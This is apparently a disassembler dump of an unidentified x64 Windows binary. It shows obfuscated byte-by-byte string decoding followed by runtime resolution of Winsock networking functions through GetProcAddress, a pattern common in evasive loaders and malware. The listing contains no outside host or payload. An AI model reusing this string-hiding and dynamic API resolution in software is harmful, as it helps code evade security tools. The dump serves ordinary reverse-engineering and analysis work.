lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140074532
sub r9b, 0x60
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x60
dec r11
inc r11
jmp 0x140073c03
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140074085
lea edx, [r9 + 0x1c]
movzx eax, r10b
and al, dl
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x1400746a5
lea edx, [r9 - 0x68]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x28
add dil, dl
add dil, r10b
jmp 0x140074715
lea edx, [r9 - 0x2a]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add r9b, 0x75
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x33
add r9b, r10b
movzx eax, r9b
mov byte [rbp + r11 + 0x1c0], al
inc r8
add rax, r8
sub r11, rax
jmp 0x14007460c
add r9b, 0x39
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x71
movzx eax, byte [rbp + r11 + 0x1c0]
add rax, r8
add r11, rax
inc r11
jmp 0x140073c03
sub r9b, 5
movzx eax, r10b
and al, r9b
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x23
add dil, r9b
lea edx, [r11 + 0x14]
movzx eax, dl
and al, r10b
mov ecx, 0x3a
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r11 + 0x1c0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x1c0]
add rax, r8
add r11, rax
inc r11
jmp 0x140073c03
add r9b, 0x41
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x39
add rbx, r8
jmp 0x14007475d
lea edx, [r9 + 3]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x15
jmp 0x140074712
lea edx, [r9 + 0x49]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
inc dil
add dil, dl
sub r9b, 7
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
add r9b, 0x31
add r9b, r10b
mov byte [rbp + r11 + 0x1c0], r9b
inc r8
dec r11
inc r11
jmp 0x140073c03
lea ecx, [r11 + 0x51]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x37
dec r11
inc r11
jmp 0x140073c03
movzx r9d, r11b
lea edx, [r9 + 0x13]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x7b
add dil, dl
add r9b, 0x37
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
add r9b, 0x7f
add r9b, dil
add r9b, r10b
mov byte [rbp + r11 + 0x1c0], r9b
add rbx, r8
jmp 0x14007475d
movabs rax, 0x3c7787373c1dc497
add rax, r11
and sil, al
add sil, sil
sub al, sil
lea edi, [r10 + rax]
sub dil, 0x21
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140073c03
movabs rax, 0xbed28267beb496dd
add rax, r11
and sil, al
add sil, sil
sub al, sil
lea edi, [r10 + rax]
sub dil, 0xb
movzx eax, byte [rbp + r11 + 0x1c0]
add rax, r8
add r11, rax
inc r11
jmp 0x140073c03
sub r9b, 0x65
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x3d
jmp 0x140073c00
add r9b, 0x5d
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x75
jmp 0x140073bf0
lea rdx, [rbp + 0x1472094]
jmp 0x140074804
lea rdx, [rbp + 0x118a833]
jmp 0x140074804
lea rdx, [rbp + 0x1c0]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
mov byte [rbp + 0x1e0], 0xdb
mov byte [rbp + 0x1e1], 0xad
mov byte [rbp + 0x1e2], 0xb3
mov byte [rbp + 0x1e3], 0xb6
mov byte [rbp + 0x1e4], 0x52
mov byte [rbp + 0x1e5], 0x59
mov byte [rbp + 0x1e6], 0x3a
mov byte [rbp + 0x1e7], 0x50
mov byte [rbp + 0x1e8], gethostname
mov byte [rbp + 0x1e9], 0x42
mov byte [rbp + 0x1ea], 0x50
mov byte [rbp + 0x1eb], 0x4e
mov byte [rbp + 0x1ec], 0x41
mov byte [rbp + 0x1ed], 0x5b
mov byte [rbp + 0x1ee], 0xee
xor eax, eax
mov word [rbp + 0x1ef], ax
mov byte [rbp + 0x1f1], al
movzx edi, byte [rbp + 0x400]
nop
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x12
jae 0x140075469
movzx r10d, byte [rbp + r11 + 0x1e0]
mov esi, r10d
nop dword [rax]
cmp rbx, r11
ja 0x14007545d
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400748fc
movabs rcx, 0xbc6a6358bda1037c
add rcx, r11
mov rax, rcx
and rax, rsi
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rsi
sub dil, 0x64
jmp 0x140074929
je 0x1400753df
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007537b
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140075341
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140075323
movzx r9d, r11b
nop dword [rax]
cmp r8, r11
ja 0x140075451
lea rax, [r8 + 0x28]
cmp rbx, rax
jae 0x140074961
lea ecx, [r9 + 0x2c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x34
jmp 0x1400749a0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400752dc
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400752b6
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140075269
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140075249
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x140074ef7
nop dword [rax]
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x140074ed8
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x140074eaf
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x140074e89
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140074f68
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x140074e69
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140074e4c
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x140074e2d
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x140074e10
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140074de1
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x1400749b0
lea rbx, [r8 + 0x20]
lea r8, [rbx + 0x5a]
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x140075434
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x140075414
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x140074ba0
lea rcx, [r8 + 0x400]
cmp rbx, rcx
jb 0x140074b81
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x140074b66
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x140074d9f
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x140074d56
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x140074d16
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x140074cee
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x1400749b0
mov rbx, rcx
lea r8, [rcx + 0x80]
lea rax, [r8 + 0x40]
cmp rcx, rax
ja 0x140074cbf
lea rax, [r8 + 0x41]
cmp rcx, rax
ja 0x140074ca2
lea rax, [r8 + 0x200]
cmp rcx, rax
ja 0x140074c83
lea rax, [r8 + 2]
cmp rcx, rax
ja 0x140074c66
lea rax, [r8 + 0x61]
cmp rcx, rax
ja 0x140074c46
lea rax, [r8 + 6]
cmp rcx, rax
ja 0x140074c2b
lea rax, [r8 + 0x80]
cmp rcx, rax
ja 0x140074c08
lea rax, [r8 + 0x10]
cmp rcx, rax
ja 0x140074bdf
lea rax, [r8 + 0x1000]
cmp rcx, rax
ja 0x140074bc0
lea rax, [r8 + 0x42]
cmp rcx, rax
ja 0x1400749b0
lea rbx, [r8 + 0x20]
lea r8, [rbx + 0x5a]
jmp 0x1400749b0
lea ecx, [r9 + 0x54]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4c
jmp 0x1400749a0
lea edx, [r9 + 0x5c]
movzx eax, dl
and al, r10b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140074930
add r9b, 0x64
movzx eax, r9b
and al, r10b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400748c0
lea edx, [r9 + 0x60]
movzx eax, dl
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400752f6
add r9b, 0x68
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x1400748a3
add r9b, 0x70
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x10
dec r11
inc r11
jmp 0x1400748a3
lea ecx, [r9 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x48
jmp 0x140075207
add r9b, 0x80
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x80
add rbx, r8
jmp 0x140075362
sub r9b, 0x78
movzx eax, r9b
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14007535f
lea edx, [r9 - 0x70]
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140075283
sub r9b, 0x68
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x28
jmp 0x14007539c
sub r9b, 0x60
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x60
movzx eax, byte [rbp + r11 + 0x1e0]
add rax, r8
add r11, rax
inc r11
jmp 0x1400748a3
add r9b, 0x34
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x6c
mov byte [rbp + r11 + 0x1e0], dil
inc r11
jmp 0x1400748a3
lea edx, [r9 + 0x3c]
movzx eax, dl
and al, r10b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp r8, 5
jb 0x140074d06
lea ecx, [r9 + 0x68]
movzx eax, cl
and al, r10b
mov edx, reloc.WS2_32.dll_sendto
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea edi, [rdx + rdx]
jmp 0x1400752f6
lea edx, [r9 + 0x44]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp rbx, 0x40
jae 0x1400751ee
lea rax, [r8 + 0x10]
cmp rbx, rax
jbe 0x1400750fe
lea ecx, [r9 - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 8
jmp 0x140074d30
lea ecx, [r9 + 0x4c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x14
lea rax, [r8 + rbx]
cmp rax, 5
je 0x140075233
lea rcx, [r8 + 2]
cmp rbx, rcx
jbe 0x140074fe5
lea edx, [r9 - 0x74]
movzx eax, dl
and al, r10b
mov ecx, socket
jmp 0x140074d65
add r9b, 8
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x38
movzx eax, byte [rbp + r11 + 0x1e0]
add rax, r8
add r11, rax
inc r11
jmp 0x1400748a3
add r9b, 0x10
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x70
jmp 0x14007539c
lea edx, [r9 + 0x18]
movzx eax, dl
and al, r10b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140075283
add r9b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14007535f
add r9b, 0x28
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x18
add rbx, r8
jmp 0x140075362
add r9b, 0x38
movzx eax, r9b
and al, r10b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x1400748a3
add r9b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x1400748a3
lea edx, [r9 + 0x48]
movzx eax, dl
and al, r10b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400752f6
lea rax, [r8 + 8]
cmp rbx, rax
jae 0x140074f1f
lea ecx, [r9 + 0x7c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x64
jmp 0x140074db5
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140074f5b
add r9b, 0x58
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x68
movzx eax, byte [rbp + r11 + 0x1e0]
add rax, r8
add r11, rax
inc r11
jmp 0x1400748a3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140074f83
lea ecx, [r9 + 0x30]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x50
jmp 0x140075207
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140074fb9
add r9b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x1400748a3
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140074db5
lea edx, [r9 + 0x18]
movzx eax, dl
and al, r10b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400752f6
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140075011
lea edx, [r9 - 0x7c]
movzx eax, dl
and al, r10b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400752f6
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140075041
add r9b, 0x74
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x2c
dec r11
inc r11
jmp 0x1400748a3
cmp rbx, rcx
jne 0x14007506d
add r9b, 0x64
movzx eax, r9b
and al, r10b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
add rbx, r8
jmp 0x140075362
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140075097
add r9b, 0x5c
movzx eax, r9b
and al, r10b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14007535f
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x1400750bf
lea ecx, [r9 + 0x54]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4c
jmp 0x140075283
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140074d70
add r9b, 0x44
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x1e0]
add rax, r8
add r11, rax
inc r11
jmp 0x1400748a3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007513d
sub r9b, 0x50
movzx eax, r9b
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x1e0]
add rax, r8
add r11, rax
inc r11
jmp 0x1400748a3
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14007516d
sub r9b, 0x70
movzx eax, r9b
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
add rbx, r8
jmp 0x140075362
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140075196
lea edx, [r9 - 0x78]
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140075207
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400751c6
add r9b, 0x80
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x80
dec r11
inc r11
jmp 0x1400748a3
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140074d30
lea ecx, [r9 + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x10
jmp 0x1400752f6
lea edx, [r9 + 0x60]
movzx eax, r10b
and al, dl
movzx ecx, r10b
sub cl, al
add cl, 0x30
lea edi, [rcx + rcx]
add dil, dl
sub r9b, 0x24
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, dil
sub cl, al
sub cl, 4
add cl, r10b
add cl, r9b
mov byte [rbp + r11 + 0x1e0], cl
add rbx, r8
jmp 0x140075362
lea ecx, [r9 + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rcx - 0x68]
jmp 0x140075283
sub r9b, 0x14
movzx eax, r10b
and al, r9b
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x74
add dil, r9b
jmp 0x14007539c
lea edx, [r9 - 0xc]
movzx eax, r10b
and al, dl
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
sub r9b, 0x2c
movzx eax, r10b
and al, r9b
mov ecx, 0x1a
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x1e0], al
inc r8
add rax, r8
sub r11, rax
jmp 0x14007539c
add r9b, 0x14
movzx eax, r10b
and al, r9b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
dec r11
inc r11
jmp 0x1400748a3
lea edx, [r9 + 0x24]
movzx eax, r10b
and al, dl
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
sub r9b, 0x1c
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x3c
add r10b, r9b
mov byte [rbp + r11 + 0x1e0], r10b
inc r8
dec r11
inc r11
jmp 0x1400748a3
lea ecx, [r11 + 0x54]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4c
add rbx, r8
jmp 0x140075362
movabs rax, 0x9fbd7e1eaaa91f5c
add rax, r11
and sil, al
mov ecx, 0x3e
sub cl, sil
lea edi, [rcx + rcx]
add dil, al
add dil, r10b
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400748a3
movabs rax, 0xae13f0bbb425116c
add rax, r11
and sil, al
mov ecx, 6
sub cl, sil
lea edi, [rcx + rcx]
add dil, al
add dil, r10b
lea ecx, [r11 + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x30
add cl, r10b
mov byte [rbp + r11 + 0x1e0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x1e0]
add rax, r8
add r11, rax
inc r11
jmp 0x1400748a3
movabs rax, 0x353f2a0a38e30a74
add rax, r11
and sil, al
add sil, sil
sub al, sil
lea edi, [r10 + rax]
sub dil, 0x2c
movzx eax, byte [rbp + r11 + 0x1e0]
add rax, r8
add r11, rax
inc r11
jmp 0x1400748a3
add r9b, 0x6c
movzx eax, r9b
and al, r10b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400748a0
add r9b, 0x74
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x2c
jmp 0x140074890
lea rdx, [rbp + 0x16e5930]
jmp 0x140075470
lea rdx, [rbp + 0xcf5cac]
jmp 0x140075470
lea rdx, [rbp + 0x1e0]
mov rcx, qword [rbp + 0x408]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp qword [rsp + 0x30], 0
je 0x1400756c8
cmp qword [rsp + 0x38], 0
je 0x1400756c8
cmp qword [rsp + 0x40], 0
je 0x1400756c8
cmp qword [rsp + 0x48], 0
je 0x1400756c8
cmp qword [rsp + 0x50], 0
je 0x1400756c8
cmp qword [rsp + 0x58], 0
je 0x1400756c8
cmp qword [rsp + 0x60], 0
je 0x1400756c8
cmp qword [rsp + 0x68], 0
je 0x1400756c8
cmp qword [rsp + 0x20], 0
je 0x1400756c8
cmp qword [rsp + 0x70], 0
je 0x1400756c8
cmp qword [rsp + 0x78], 0
je 0x1400756c8
cmp qword [rbp - 0x80], 0
je 0x1400756c8
cmp qword [rbp - 0x78], 0
je 0x1400756c8
mov rdi, qword [rbp - 0x70]
test rdi, rdi
je 0x1400756c8
mov rbx, qword [rbp - 0x68]
test rbx, rbx
je 0x1400756c8
mov r11, qword [rbp - 0x60]
test r11, r11
je 0x1400756c8
mov r10, qword [rbp - 0x58]
test r10, r10
je 0x1400756c8
mov r9, qword [rbp - 0x50]
test r9, r9
je 0x1400756c8
mov rdx, qword [rbp - 0x40]
test rdx, rdx
je 0x1400756c8
mov r8, qword [rbp - 0x48]
test r8, r8
je 0x1400756c8
mov rcx, qword [rbp - 0x38]
test rcx, rcx
je 0x1400756c8
test r13, r13
je 0x1400756c8
test r12, r12
je 0x1400756c8
test r15, r15
je 0x1400756c8
test r14, r14
je 0x1400756c8
test rax, rax
je 0x1400756c8
mov rsi, qword [rsp + 0x38]
mov qword [0x1401de1f8], rsi
mov rsi, qword [rsp + 0x40]
mov qword [0x1401de200], rsi
mov rsi, qword [rsp + 0x48]
mov qword [0x1401de208], rsi
mov rsi, qword [rsp + 0x50]
mov qword [0x1401de210], rsi
mov rsi, qword [rsp + 0x58]
mov qword [0x1401de218], rsi
mov rsi, qword [rsp + 0x60]
mov qword [0x1401de220], rsi
mov rsi, qword [rsp + 0x68]
mov qword [0x1401de228], rsi
mov rsi, qword [rsp + 0x20]
mov qword [0x1401de230], rsi
mov rsi, qword [rsp + 0x70]
mov qword [0x1401de238], rsi
mov rsi, qword [rsp + 0x78]
mov qword [0x1401de240], rsi
mov rsi, qword [rbp - 0x80]
mov qword [0x1401de248], rsi
mov rsi, qword [rbp - 0x78]
mov qword [0x1401de250], rsi
mov qword [0x1401de258], rdi
mov qword [0x1401de260], rbx
mov qword [0x1401de268], r11
mov qword [0x1401de270], r10
mov qword [0x1401de278], r9
mov qword [0x1401de280], rdx
mov qword [0x1401de288], r8
mov qword [0x1401de290], rcx
mov qword [0x1401de298], r13
mov qword [0x1401de2a0], r12
mov qword [0x1401de2a8], r15
mov qword [0x1401de2b0], r14
mov qword [0x1401de2b8], rax
mov rcx, qword [rbp + 0x410]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, qword [rbp + 0x408]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, qword [rbp + 0x418]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
nop
mov rax, qword [rbp + 0x400]
movabs rcx, 0xff00ff00ff00ff00
xor rax, rcx
lea rcx, [rbp + 0x3f8]
mov qword [rcx], rax
add rsp, 0x4b8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret